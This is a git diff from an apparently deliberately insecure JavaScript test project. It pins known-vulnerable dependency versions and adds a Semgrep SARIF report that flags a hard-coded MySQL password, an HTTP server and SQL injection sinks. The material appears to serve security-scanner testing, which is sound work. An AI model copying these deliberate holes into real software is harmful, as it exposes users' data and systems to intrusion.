+      "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==",
+      "deprecated": "Please upgrade  to version 7 or higher.  Older versions may use Math.random() in certain circumstances, which is known to be problematic.  See https://v8.dev/blog/math-random for details.",
+      "bin": {
+        "uuid": "bin/uuid"
+      }
+    },
+    "node_modules/validator": {
+      "version": "10.11.0",
+      "resolved": "https://registry.npmjs.org/validator/-/validator-10.11.0.tgz",
+      "integrity": "sha512-X/p3UZerAIsbBfN/IwahhYaBbY68EN/UQBWHtsbXGT5bfrH/p4NQzUCG1kF/rtKaNpnJ7jAu6NGTdSNtyNIXMw==",
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
+    "node_modules/which": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+      "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "optional": true,
+      "dependencies": {
+        "isexe": "^2.0.0"
+      },
+      "bin": {
+        "node-which": "bin/node-which"
+      },
+      "engines": {
+        "node": ">= 8"
+      }
+    },
+    "node_modules/wide-align": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",
+      "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==",
+      "optional": true,
+      "dependencies": {
+        "string-width": "^1.0.2 || 2 || 3 || 4"
+      }
+    },
+    "node_modules/wkx": {
+      "version": "0.4.8",
+      "resolved": "https://registry.npmjs.org/wkx/-/wkx-0.4.8.tgz",
+      "integrity": "sha512-ikPXMM9IR/gy/LwiOSqWlSL3X/J5uk9EO2hHNRXS41eTLXaUFEVw9fn/593jW/tE5tedNg8YjT5HkCa4FqQZyQ==",
+      "dependencies": {
+        "@types/node": "*"
+      }
+    },
+    "node_modules/wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
+    },
+    "node_modules/yallist": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
     }
   }
 }
diff --git a/insecure-js/package.json b/insecure-js/package.json
index a76a7f0..93ae921 100644
--- a/insecure-js/package.json
+++ b/insecure-js/package.json
@@ -1,13 +1,29 @@
 {
   "dependencies": {
+    "@aikidosec/firewall": "^1.5.47",
+    "@babel/core": "7.0.0-rc.1",
+    "chart.js": "2.8.0",
+    "chartist": "0.3.0",
+    "dom-iterator": "^1.0.0",
+    "jquery": "2.1.0",
     "lodash": "4.16.1",
-    "semver": "5.4.1"
-  },
-  "devDependencies": {
-    "@babel/core": "7.0.0-rc.1"
+    "mini-html-parser": "^0.0.3",
+    "mysql2": "^2.3.3",
+    "semver": "5.4.1",
+    "sequelize": "4.44.1",
+    "sqlite3": "^5.0.2"
   },
   "resolutions": {
+    "lodash": "4.16.1",
+    "**/lodash": "4.16.1",
+    "semver": "5.4.1",
     "**/semver": "5.4.1",
-    "**/lodash": "4.16.1"
+    "json5": "2.2.1",
+    "**/json5": "2.2.1"
+  },
+  "overrides": {
+    "lodash": "4.16.1",
+    "semver": "5.4.1",
+    "json5": "2.2.1"
   }
 }
diff --git a/insecure-js/semgrep.sarif b/insecure-js/semgrep.sarif
new file mode 100644
index 0000000..367cb73
--- /dev/null
+++ b/insecure-js/semgrep.sarif
@@ -0,0 +1 @@
+{"version":"2.1.0","runs":[{"invocations":[{"executionSuccessful":true,"toolExecutionNotifications":[]}],"results":[{"fingerprints":{"matchBasedId/v1":"8ff3ac9716a48223ef6a17d2f6bb27ce42bbbb90fb423f6961219a5f307138b6a43bfcff4d8afd941bad8fbaadea65c36a120551e08e2ced90ec6019092b5ee7_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"server.js","uriBaseId":"%SRCROOT%"},"region":{"endColumn":2,"endLine":19,"snippet":{"text":"const connection = mysql.createConnection({\n  host: 'localhost',\n  user: 'root',\n  password: 'topsecret',\n  database: 'database'\n});"},"startColumn":43,"startLine":14}}}],"message":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"properties":{},"ruleId":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret"},{"fingerprints":{"matchBasedId/v1":"5a3bc5253e78e5f855aefc055d4cf58ced2975b7d47ded57df9f38e7c604444c62b734cff4c983dfd330703b3ec1fd905d4697decdfe4dcf2544255b189e2dbd_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"server.js","uriBaseId":"%SRCROOT%"},"region":{"endColumn":20,"endLine":32,"snippet":{"text":"const server = http.createServer((req, res) => {"},"startColumn":16,"startLine":32}}}],"message":{"text":"Checks for any usage of http servers instead of https servers. Encourages the usage of https protocol instead of http, which does not have TLS and is therefore unencrypted. Using http can lead to man-in-the-middle attacks in which the attacker is able to read sensitive information."},"properties":{},"ruleId":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server"},{"fingerprints":{"matchBasedId/v1":"6e68a44da5cfe9dc6b1f525d7a48bd150c4f09dcfb39816797f31c0b1e35ca0a4c86a26880c59b0e7729587e4f058f4e9b5b52b28fb7751cbfcd22d5b4639341_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"server.js","uriBaseId":"%SRCROOT%"},"region":{"endColumn":35,"endLine":79,"snippet":{"text":"            connection.query(query, (err, rows) => {"},"startColumn":30,"startLine":79}}}],"message":{"text":"Detected a `mysql2` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"properties":{},"ruleId":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli"},{"fingerprints":{"matchBasedId/v1":"18d72533707db0d688bb04b88d63e9bb36e18196d38bfaf2af511e90fb008f6787090be90e4a0343c986b4b27b05862dc206b442289fe482d669b737652a4f33_0"},"locations":[{"physicalLocation":{"artifactLocation":{"uri":"server.js","uriBaseId":"%SRCROOT%"},"region":{"endColumn":59,"endLine":113,"snippet":{"text":"                const result = await sequelize.query(query, { type: sequelize.QueryTypes.SELECT });"},"startColumn":54,"startLine":113}}}],"message":{"text":"Detected a `mysql2` SQL statement that comes from a function argument. This could lead to SQL injection if the variable is user-controlled and is not properly sanitized. In order to prevent SQL injection, it is recommended to use parameterized queries or prepared statements."},"properties":{},"ruleId":"javascript.lang.security.audit.sqli.node-mysql-sqli.node-mysql-sqli"}],"tool":{"driver":{"name":"Semgrep OSS","rules":[{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","id":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","name":"swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.pkcs5-hardcoded-secret.pkcs5-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"help":{"markdown":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Many different options exist to fix this issue depending the use case (Application can send request only to identified and trusted applications, Application can send requests to ANY external IP address or domain name)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ssrf.web-request.ssrf","id":"csharp.lang.security.ssrf.web-request.ssrf","name":"csharp.lang.security.ssrf.web-request.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ssrf.web-request.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","id":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","name":"swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.scrypt-hardcoded-secret.scrypt-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"help":{"markdown":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n","text":"External entities are allowed for $DBFACTORY. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://xml.org/sax/features/external-general-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","id":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","name":"java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-external-general-entities-true.documentbuilderfactory-external-general-entities-true"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"help":{"markdown":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth)\n - [https://cwe.mitre.org/data/definitions/477.html](https://cwe.mitre.org/data/definitions/477.html)\n","text":"Warning MONGODB-CR was deprecated with the release of MongoDB 3.6 and is no longer supported by MongoDB 4.0 (see https://api.mongodb.com/python/current/examples/authentication.html for details)."},"helpUri":"https://semgrep.dev/r/python.pymongo.security.mongodb.mongo-client-bad-auth","id":"python.pymongo.security.mongodb.mongo-client-bad-auth","name":"python.pymongo.security.mongodb.mongo-client-bad-auth","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.security.mongodb.mongo-client-bad-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"External XML Schema is allowed for identified XML parser. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"help":{"markdown":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly)\n - [https://owasp.org/www-community/HttpOnly](https://owasp.org/www-community/HttpOnly)\n","text":"A cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie. Set the 'HttpOnly' flag by calling 'cookie.setHttpOnly(true);'"},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","id":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","name":"java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for RSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","id":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","name":"python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-rsa-key-size.insufficient-rsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"help":{"markdown":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command)\n - [http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command](http://docs.paramiko.org/en/stable/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py](https://github.com/PyCQA/bandit/blob/d5f8fa0d89d7b11442fc6ec80ca42953974354c8/bandit/plugins/injection_paramiko.py)\n","text":"Unverified SSL context detected. This will permit insecure connections without verifying SSL certificates. Use 'ssl.create_default_context()' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","id":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","name":"python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.paramiko.paramiko-exec-command.paramiko-exec-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"help":{"markdown":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)\n - [https://www.youtube.com/watch?v=CIhHpkybYsY](https://www.youtube.com/watch?v=CIhHpkybYsY)\n - [https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf](https://github.com/orangetw/My-Presentation-Slides/blob/main/data/2018-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out.pdf)\n","text":"The alias in this location block is subject to a path traversal because the location path does not end in a path separator (e.g., '/'). To fix, add a path separator to the end of the path."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.alias-path-traversal.alias-path-traversal","id":"generic.nginx.security.alias-path-traversal.alias-path-traversal","name":"generic.nginx.security.alias-path-traversal.alias-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.alias-path-traversal.alias-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"help":{"markdown":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render text: ...' actually sets the content-type to 'text/html'. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Instead, use 'render plain: ...' to render non-HTML text."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","id":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","name":"ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-text.avoid-render-text"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.ssrf.grpc-tainted-url-host.grpc-tainted-url-host)\n - [https://goteleport.com/blog/ssrf-attacks/](https://goteleport.com/blog/ssrf-attacks/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 